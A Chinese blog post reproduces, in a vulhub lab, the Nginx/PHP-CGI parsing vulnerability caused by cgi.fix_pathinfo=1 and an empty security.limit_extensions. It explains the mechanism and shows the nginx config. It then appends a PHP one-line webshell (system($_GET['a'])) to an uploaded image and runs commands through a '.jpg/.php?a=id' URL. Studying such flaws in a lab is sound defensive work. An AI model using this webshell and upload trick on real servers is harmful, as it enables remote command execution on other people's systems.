当前位置:首页 » 《随便一记》 » 正文

Nginx 解析漏洞 漏洞复现_鸥鹭忘机

17 人参与  2022年03月13日 08:02  分类 : 《随便一记》  评论

点击全文阅读


前言

该漏洞与Nginx、php版本无关,属于用户配置不当造成的解析漏洞。

环境搭建

漏洞环境使用vulhub搭建,漏洞目录为 vulhub/nginx/nginx_parsing_vulnerability

在漏洞目录中执行以下命令即可构建漏洞环境。

docker-compose up -d

原理分析

首先来看不当配置:

# php.ini
cgi.fix_pathinfo=1
# php-fpm.conf
security.limit_extensions为空
我们首先来看看cgi.fix_pathinfo作用到底是什么!我举一个例子可能大家就会明白这个参数的作用了:

假如我们访问 http://ip地址/a.php/index/admin会发生什么?(a.php是存在的文件,a.php/index/admin不存在)

首先来看cgi.fix_pathinfo=0的情况,服务器会把http://ip地址/a.php/index/admin当成一个完整的路径来访问,但是a.php/index/admin是不存在的,所以服务器会返回404错误。

再来看cgi.fix_pathinfo=1的情况,这种情况服务器就比较智能了,服务器会自动判断哪个是真正的文件,把真正的文件交给php-cgi来解析。同时把文件的后面的数据保存在环境变量$_SERVER['PATH_INFO']中。

我们来测试一下,将下面代码保存在a.php中,并将a.php放入本地搭建好的php环境中,然后访问 http://localhost/a.php/index/admin

<?php
var_dump($_SERVER['PATH_INFO']);
?>

我们看到文件名后的 /index/admin确实传给了环境变量 $_SERVER['PATH_INFO']

在这里插入图片描述

http://域名/项目名/入口文件/模块名/方法名/键1/值1/键2/值2属于URL访问模式中的PATHINFO 模式,很多框架采用的URL访问模式就是这种,例如ThinkPHP。这种访问模式必须开启cgi.fix_pathinfo,同时php配置的默认情况也是cgi.fix_pathinfo=1。

下面再来了解security.limit_extensions的作用

这个参数的作用就是使php-cgi只能解析特定后缀的文件,为空时就能解析所有文件。

再来看到nginx的关键配置
location ~ \.php$ {
    include        fastcgi_params;

    fastcgi_pass   127.0.0.1:9000;
    fastcgi_index  index.php;
    fastcgi_param  SCRIPT_FILENAME  /var/www/html$fastcgi_script_name;
    fastcgi_param  DOCUMENT_ROOT /var/www/html;
}

当我们访问 http://IP地址/a.jpg/.php时,该URL是可以匹配上面的正则表达式 \.php$,但是在php-cgi解析时会提取真正的文件名http://IP地址/a.jpg,并对其解析。这样就成功的执行了jpg文件中的php代码。

漏洞复现

靶场中的上传图片功能会检测图片里的特征码,只有真正的图片才能上传成功,所以必须准备一张真正的图片。

开启burpsuite监听,抓取上传图片的数据。

在这里插入图片描述

在这里插入图片描述

然后在图片数据的末尾写上一句话木马:

<?php system($_GET['a']);?>

在这里插入图片描述

点击 burpsuite上的Forward按钮进行提交,这时来到浏览器,看到图片木马已经成功上传。

在这里插入图片描述

访问图片木马,并在图片马后面加上 /.php和参数执行命令。

http://192.168.119.131/uploadfiles/394659692a460258b45a99f1424ea357.jpg/.php?a=id

在这里插入图片描述

这时发现木马执行成功!

参考文献

[1] https://www.laruence.com/2010/05/20/1495.html,Nginx + PHP CGI的一个可能的安全漏洞

[2] https://blog.csdn.net/zstxt1989/article/details/9310121,ThinkPHP中URL解析原理,以及URL路由使用教程!


点击全文阅读


本文链接:http://zhangshiyu.com/post/36111.html

漏洞  文件  解析  
<< 上一篇 下一篇 >>

  • 评论(0)
  • 赞助本站

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

最新文章

  • 贺宴临池烟宁(爱如朝露已晞全书+后续)结局_(贺宴临池烟宁爱如朝露已晞全书+后续全书结局)结局列表_笔趣阁(贺宴临池烟宁)
  • 长离不见清瑟后续+全书(江清瑟谢长离)_长离不见清瑟后续+全书列表_笔趣阁(江清瑟谢长离)
  • [被骗婚七年后,我把公婆全家送进了监狱]后续完结版_[婉婉明哲老公]精彩节选试读
  • 「太子爷错把白月光当做救命恩人,我离开后他却疯了」全文+后续_「季晏安晏安夏欢」情感冲突名场面试读章
  • 余温散尽时结局+番外(许思梨沈辞越)全书许思梨沈辞越结局_许思梨沈辞越+结局列表_笔趣阁(余温散尽时结局+番外)
  • (番外)+(全书)许思梨沈辞越(余温散尽时全书+后续)_许思梨沈辞越列表_笔趣阁(余温散尽时全书+后续)
  • 爱于燃尽新生全集阅读_顾云霄孟时昭孟卿关键剧情节选解锁
  • 全文余温散尽时+结局+番外(许思梨沈辞越)列表_全文余温散尽时+结局+番外
  • [新邻居敲门求助,却不安好心]全文免费无弹窗阅读_笔趣阁_周浩小浩小升初后续无弹窗大结局
  • [被当小三暴打后豪门覆灭]角色专属支线试读入口_[陈青青小姐沈氏]后续无弹窗大结局
  • (番外)+(全书)徐枳烟傅延(旷野里的星结局+番外)全书在线_徐枳烟傅延免费列表_笔趣阁(旷野里的星结局+番外)
  • 方鹤安夏妍菲(残雪凝阶春不回全书+后续+番外)结局_(方鹤安夏妍菲残雪凝阶春不回全书+后续+番外全书结局)结局列表_笔趣阁(方鹤安夏妍菲)

    关于我们 | 我要投稿 | 免责申明

    Copyright © 2020-2022 ZhangShiYu.com Rights Reserved.豫ICP备2022013469号-1